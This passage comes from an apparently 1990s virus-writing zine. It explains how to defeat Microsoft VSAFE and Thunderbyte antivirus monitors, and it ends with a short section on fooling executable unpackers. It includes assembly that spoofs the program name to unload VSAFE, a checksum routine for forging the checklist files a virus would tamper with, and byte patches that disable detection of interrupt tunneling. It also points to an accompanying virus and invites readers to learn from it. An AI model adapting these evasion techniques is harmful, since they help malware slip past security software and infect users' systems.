16/FA03 and 16/FA08 will return constant values whose significance is unbeknownst to me - they don't seem to be version numbers. Next, the old trick which deinstalled VSAFE, which was the same as the above code except AX = FA01h, won't cut it anymore. Nor will it change the VSAFE flags anymore when AX = FA02h. Does this mean that the you can no longer make VSAFE turn the other way? Hardly - there are still ways around it. (Remember, _no_ program is immune to being duped.) The two functions to deinstall or change VSAFE options are still there, but now there's a twist: It checks to see which program is running before it will act. This is a pain to get around, but not impossible. You can find the name of the current resident program in the DOS environment, which is found by getting the DOS environment segment (at offset 2Ch in the PSP), finding the name of the current program (the environment table is at offset 0, then two zero bytes signal the end of it, and then there's another two bytes, after which the name of the current program is found) and changing it to "\VSAFE.EXE". Actually, you don't even need to go to all that trouble. You see, VSAFE doesn't actually check the filename; it just makes a checksum of the letters in the filename minus extension. I am hesitant to go into the details of this now; if you want to see how the checksum works examine it yourself. Suffice it to say that if, before the period in the filename, you insert the three-byte hex string 5CFF76, VSAFE will think it's being loaded. Do I hear cries for an example? mov ax,ds:[2Ch] ; get environment segment mov es,ax xor di,di ; after the table of environ- mov cx,17D0h ; ment strings, we will find xor al,al ; the current program name find_environ_end: repnz scasb ; scan through environment cmp byte ptr es:[di],0 ; end of table? jnz find_environ_end add di,3 ; address of program name mov al,'.' ; find extension repnz scasb ; extension found mov si,es:[di - 3] ; save orig. program name mov es:[di - 3],76FFh ; modify program name mov bh,es:[di - 4] ; make VSAFE think it is mov byte ptr es:[di - 4],5Ch ; calling itself ; VSAFE 2 may now be unloaded mov ax,0FA01h ; unload VSAFE mov dx,5945h int 16h ; fix up program name again mov es:[di - 3],si ; replace orig. program name mov es:[di - 4],bh Here is a listing of all the VSAFE functions you need to know. (All functions called by INT 16h with DX = 5945h) AX = FA00h - Test for VSAFE resident DI=4559h on return is res. AX = FA01h - Deinstall VSAFE AX = FA02h - Change VSAFE flag settings BL=bits 0-7 represent settings for flags 1-8, resp. on return, CL holds previous flag setting AX = FA05h - Turn popup menu on/off BL=0 (on) or 1 (off) Version 2 checks name of program currently running before executing functions FA01, FA02 or FA05. Deinstalling VSAFE works well if nothing is loaded after it in memory. However, this may not be the case, and if other programs are loaded VSAFE gives an error message. Hence I don't consider this the best way to deactivate the program. A better way would be to patch up VSAFE as described below, and upon writing the disk, save the VSAFE flags and switch them all off, then restore when done. This should keep it quiet. If you're too lazy to mess around with that, there's an even easier way. The flag status byte in VSAFE 2 is located at offset 0F1Dh in the code, and you can modify it directly upon finding VSAFE's segment (check INT 16h's segment.) This particular method will only work for version 2.2; the address is probably different for other versions. Moving on, one will find that the old CHKLIST.CPS files have now been replaced by SMARTCHK.CPS files, which have a different format. (The MSAV equivalents of these files are CHKLIST.MS and SMARTCHK.MS, respectively.) Each record is 60 bytes long, and consists of the following data: Data Offset Length ---------------------------------------------- ASCIIZ filename 0 13 File attributes 13 1 File size 14 4 File time 18 2 File date 20 2 First 32 bytes of file 22 32 Checksum data 54 4 Apparently always set to zero. 58 2 Now, a VSAFE-smart virus could increase its stealthiness by modifying this data, which isn't as much of a pain as it may sound. It could modify the filenames, so VSAFE no longer properly checks the programs. A more ambitious programmer could look for the filename, change the first few recorded bytes of the file, change the date, and fix the checksum. But how do we calculate the checksum, you ask? Good question. The checksum routine in VSAFE 2 is long and complicated. (In case you were wondering, the VSAFE 1.0 checksum can be calculated like this: DS:SI = offset of first 64 bytes of file (or if file is < 64 bytes long, the entire file) BX = high word of 32-bit checksum DX = low word of 32-bit checksum CX = 64 (for loop) or size of file if < 64 bytes AH = 0 (for addition) vsafe_checksum: lodsb ; add first byte add dx,ax adc bx,0 lodsb ; subtract second byte sub dx,ax sbb bx,0 lodsb ; XOR third byte by first checksum xor dl,al ; byte only sub cx,3 cmp cx,2 ja vsafe_checksum The finished checksum is in BX:DX.) I haven't figured out the VSAFE 2 checksum routine yet - it's much more complicated. But you're welcome to look. The included UNSAFE.ASM program is a virus, and demonstrates the manipulation of VSAFE flags and corruption of SMARTCHK.CPS files. As a demonstration, try setting the write protect flag on, and then infect a few files. VSAFE will not warn you of the write, because the flags are temporarily turned off by the virus when it spreads. Examine and learn. PATCHING VSAFE When VSAFE 2.2 is installed, it installs a routine onto interrupt 21h which checks for different DOS calls, as all monitors do. There is a portion of the interrupt 21 code which looks like this : 80 FC 4B cmp ah,4B ; this catches the DOS execute program 74 62 jz 0BAF ; call so VSAFE can do program checks 80 FC 4C cmp ah,4C ; this catches a DOS terminate program 74 33 jz 0B85 ; call so VSAFE can check memory 80 FC 00 cmp ah,0 ; another terminate program call check 74 15 jz 0B6C If we set the trap flag, set AH to 99h (or any nonexistent function call), call interrupt 21 and scan the code with a tracing routine, we will eventually find this point. Once we do, it's quite simple to eliminate VSAFE checks when a program begins and ends: 80 FC 4B cmp ah,4B 90 nop ; the JZ's have been replaced with two 90 nop ; NOP's each ... VSAFE will no longer 80 FC 4C cmp ah,4C ; check programs as they are run, 90 nop ; or check memory when a program 90 nop ; terminates, because it won't know 80 FC 4C cmp ah,0 ; when these things happen anymore. 90 nop 90 nop (A brief note: A program can also terminate via interrupt 20h, and VSAFE _will_ check memory if a program terminates this way. This interrupt is more difficult to tunnel - once the DOS segment is reached, the tunneling must be stopped - but it is not impossible. A similar patch could be created to solve the problem.) *************** * Thunderbyte * *************** TB MONITORS All TB monitors work through TBDRIVER and hook the critical interrupts 21h,13h, and 40h. These same monitors can be defeated by recursive tunneling if TBDRIVER's ability to detect such tunneling is deactivated, however. TBDRIVER'S DETECTION OF RECURSIVE TUNNELING TBDRIVER is resistant to most recursive tunneling. When an interrupt 21 is called, TBDRIVER checks the status of the trap flag for a recursive tunneling routine and will display a message if it is found to be set. The code that does this appears virtually impenetrable, and looks like this: (This is from TBDRIVER version 6.14; it may be different now but the idea is basically the same.) cli ; clear interrupts to prevent pushf ; interference ... cld push ax ; what this, in essence, does is push bx ; that is saves a value on the stack, xchg ax,bx ; pops it, decrements the stack ptr. pop ax ; to point to it again, pops it again, dec sp ; and if the value changed, an int- dec sp ; errupt must have occured. Since the pop bx ; interrupt flag is off, the only cmp ax,bx ; interrupt this could be is a type 1 - pop bx ; the trap flag interrupt routine. jz 02A1 ; If two values popped are different, ; it warns the user. PATCHING TBDRIVER Now, there is no way to fool this routine. You can't hide the change to the value on the stack. However, you _can_ scan for this code in your tunneling routine, and modify it if it is found. You could look, for example, for the following code in the interrupt 21 routine: 5C pop bx 3B C3 cmp ax,bx 5B pop bx 74 0D jz 02A1 If we find the string 5C 3B C3 5B 74 0D, we know TBDRIVER is present. The next step is modifying the code to make it useless. The JZ instruction is the test. If AX and BX are equal, then the Z flag is set, and if the Z flag is set, the code is not being traced as far as TBDRIVER is concerned. Hence, you want it to act as though the Z flag was _always_ set. You could do this by changing the instruction to a JMP: EB 0D jmp 02A1 Now you find the original offset of DOS's interrupt 21 with the same tunneling routine, and call it directly, bypassing all TB utilities. DISABLING TBSCANX Earlier versions of TBSCANX hook INT 2Fh when they load, and install the following functions : AX = CA00h Test for installation (return FF in AL if res.) BX = 'TB' ('tb' on return if resident) AX = CA04h Scan file DS:DX = program to be scanned (carry set means infected, ES:BX=filename) With a little work and a good debugger, you can trace the code of other AV monitors and find similar code in the interrupt 21h or 13h routines. If you know what you're doing, you could create similar patches to the ones above for these monitors. The same could be done with non-resident virus scanners, although this is a more difficult job, and not really worth it in my opinion since most good scanners check themselves and probably won't find any _good_ new virus anyway. - MnemoniX ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ ³ How to fool unpackers ³ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Intruder (pASCAL) 'fool' Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ If you want to make your progs written in TP or BP restistent against the 'unpacker' Intruder. This ultimative groovy and fantastic prog is 'bout unfoolable!!! BUT there is a method - of course VERY difficult, try it ONLY if you have a VERY good knowlegde in ASM (?) ! You need to change "!#S456789:;" into whatever you want to (it won't be executed) and this godlike unpacker called Intruder won't find ANYTHING (WOOWIIE! mAN, yOU mUST bE a rEAL hACKER tO dO tHIS!!!!) You can fool any startupcode unpacker like TEU,UPC,Intruder by sticking a BorlandC or Pascal... file to the original file. Use DumpPrevent for that. Use DPrevent two times to fool TEU's -X:?? switch. Another way is to replace code which is always added by the compiler so that the file still runs and TEU... does not recognize the file anymore. ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ ³ TOP SECRETS! ³ ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ Ehm, 'cause this is the uncomplete version of the INSIDER.FAQ this section has been cutten - send a email in order to get a complete version. -> If you have coded your own anti-trace/debug routine please send it to me and it will be added here! Thanx go to everyone who send me routines. Especially to ELiCZ for his 'OUTSIDER.FAQ' ;) and his nice FILTER's! ...[CHRiSTOPH GABLER]... ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――